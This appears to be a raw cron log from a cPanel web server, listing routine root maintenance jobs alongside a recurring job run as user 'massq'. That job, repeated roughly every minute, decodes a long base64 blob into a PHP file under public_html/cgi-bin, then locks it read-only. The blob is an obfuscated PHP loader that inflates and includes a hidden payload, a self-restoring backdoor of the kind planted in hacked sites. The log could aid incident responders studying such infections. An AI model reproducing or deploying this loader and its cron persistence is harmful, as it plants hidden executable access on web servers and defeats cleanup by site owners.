Sep  4 10:15:01 server CROND[9177]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:15:01 server CROND[9179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:15:01 server CROND[9180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:15:01 server CROND[9178]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 10:15:01 server CROND[9183]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 10:15:01 server CROND[9181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:16:01 server CROND[10135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:16:01 server CROND[10136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:16:01 server CROND[10137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:17:01 server CROND[10557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:17:01 server CROND[10558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:17:01 server CROND[10559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:18:01 server CROND[10966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:18:01 server CROND[10967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:18:01 server CROND[10965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:19:01 server CROND[11361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:19:01 server CROND[11362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:19:01 server CROND[11363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:20:01 server CROND[11752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:20:01 server CROND[11755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 10:20:01 server CROND[11754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:20:01 server CROND[11759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:20:01 server CROND[11757]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 10:20:01 server CROND[11760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:20:01 server CROND[11761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:20:01 server CROND[11756]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 10:20:01 server CROND[11758]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 10:21:01 server CROND[12713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:21:01 server CROND[12714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:21:01 server CROND[12715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:22:01 server CROND[13090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:22:01 server CROND[13091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:22:01 server CROND[13092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:23:01 server CROND[13469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:23:01 server CROND[13470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:23:01 server CROND[13471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:24:01 server CROND[13845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:24:01 server CROND[13846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:24:01 server CROND[13847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:25:01 server CROND[14252]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 10:25:01 server CROND[14253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:25:01 server CROND[14256]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:25:01 server CROND[14268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:25:01 server CROND[14269]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 10:25:01 server CROND[14265]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 10:25:01 server CROND[14264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:25:01 server CROND[14266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:26:01 server CROND[15190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:26:01 server CROND[15191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:26:01 server CROND[15192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:27:01 server CROND[15580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
